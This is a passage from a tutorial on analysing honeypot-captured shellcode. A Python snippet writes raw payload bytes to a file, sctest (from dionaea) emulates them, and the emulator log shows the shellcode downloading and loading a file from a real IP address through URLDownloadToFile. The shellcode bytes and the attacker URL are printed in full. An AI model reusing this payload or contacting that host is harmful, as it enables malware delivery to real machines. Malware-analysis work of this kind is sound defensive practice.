f.write(b'\\\x00EJinvSWwBRCQvkpxpigFPYgLEznJUFvXdgKGNqynVDlchFrVWzDhuvssAiCzTVCXwMERZNFfiqOpAyLjJojswpKHzIwBaYQMAxYe\xe8\xff\xff\xff\xff\xc2_\x8dO\x10\x801\xc4Af\x819MSu\xf58\xae\xc6\x9d\xa0O\x85\xeaO\x84\xc8O\x84\xd8O\xc4O\x9c\xccIse\xc4\xc4\xc4,\xed\xc4\xc4\xc4\x94&amp;<O8\x92;\xd3WG\x02\xc3,\xdc\xc4\xc4\xc4\xf7\x16\x96\x96O\x08\xa2\x03\xc5\xbc\xea\x95;\xb3\xc0\x96\x96\x95\x92\x96;\xf3;$i\x95\x92QO\x8f\xf8O\x88\xcf\xbc\xc7\x0f\xf72I\xd0w\xc7\x95\xe4O\xd6\xc7\x17\xcb\xc4\x04\xcb{\x04\x05\x04\xc3\xf6\xc6\x86D\xfe\xc4\xb11\xff\x01\xb0\xc2\x82\xff\xb5\xdc\xb6\x1fO\x95\xe0\xc7\x17\xcbs\xd0\xb6O\x85\xd8\xc7\x07O\xc0T\xc7\x07\x9a\x9d\x07\xa4fN\xb2\xe2Dh\x0c\xb1\xb6\xa8\xa9\xab\xaa\xc4]\xe7\x99\x1d\xac\xb0\xb0\xb4\xfe\xeb\xeb\xf5\xfc\xfc\xea\xf6\xf0\xf1\xea\xf7\xf6\xea\xf6\xf5\xf4\xfe\xfc\xf5\xf0\xf3\xeb\xaf\xa7\xa2\xa8\xc4MSemnHqZkZyHIFmbZQCywHscutahhWhoSewiPdNFaPfofpeZVQgyybFqBlGSeBYAPgirfoIOMFQCVIOhuNxscDcxyqJfxgMhahsgjEvYZWarkAkGUWFEWHrnRvYCubVUJnOgsKyupLJGkVCRQwYGcQPSuIsYJmBSVIcLnDXRxnDOkAvmXjHktND\\\x00.\x00.\x00\\\x00.\x00.\x00\\\x00A\x00I\x00O\x00J\x00L\x00P\x00D\x00\x08\x04\x02\x00$\xcb\x01xVFAS$\xcb\x01xSNKBQTVPYYTZISATHHFZEPMNQBWWBDGZDXJNVJAZLX\x92J$\xb6\x97\x03\xf57\xebZRQNXKFGQWT\x00\x00')
f.close()
exit()

It will produce test.bin file in /tmp/ folder.

Now we analyze the file test.bin using sctest and dump the output into test.txt:

/opt/dionaea/bin/sctest -S -g -v -s 1000000 < /tmp/test.bin >> test.txt

If you see inside test.txt, you should see something like this:

[email protected]:~# cat test.txt
verbose = 1
success offset = 0x00000068
[emu 0x0xac40e0 info ] The following function is a stub instr_sldt_0f00 functions/misc.c:290
<snip>
Hook me Captain Cook!
userhooks.c:132 user_hook_ExitThread
ExitThread(0)
stepcount 85067
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x00417116 =>
           = "urlmon";
) = 0x7df20000;
HRESULT URLDownloadToFile (
     LPUNKNOWN pCaller = 0x00000000 =>
         none;
     LPCTSTR szURL = 0x00417121 =>
           = "http://188.245.32.210:8147/kcfl";
     LPCTSTR szFileName = 0x00416fbe =>
           = "x.";
     DWORD dwReserved = 0;
     LPBINDSTATUSCALLBACK lpfnCB = 0;
) =  0;
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x00416fbe =>
           = "x.";
) = 0x00000000;
void ExitThread (
     DWORD dwExitCode = 0;
) =  0;

As you can see, the malicious URL is hxxp://188.245.32.210:8147/kcfl

Reference: https://sourceforge.net/p/nepenthes/mailman/message/26862416/